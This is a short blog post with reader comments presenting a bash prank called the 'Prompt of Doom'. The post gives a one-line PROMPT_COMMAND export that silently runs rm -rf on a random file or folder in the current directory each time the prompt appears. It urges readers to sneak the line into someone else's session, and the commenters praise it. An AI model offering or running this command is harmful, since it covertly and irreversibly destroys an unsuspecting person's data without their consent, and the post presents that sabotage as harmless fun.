Meet the Prompt of Doom

Try to sneak this one into someone’s session and watch the hilarity ensue:

export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'
Share the pain!
    1. best tip on the site for now, for me!

      • Gabriel Menini
      • August 3rd, 2009

      Really c00l!! :-)

    1. No trackbacks yet.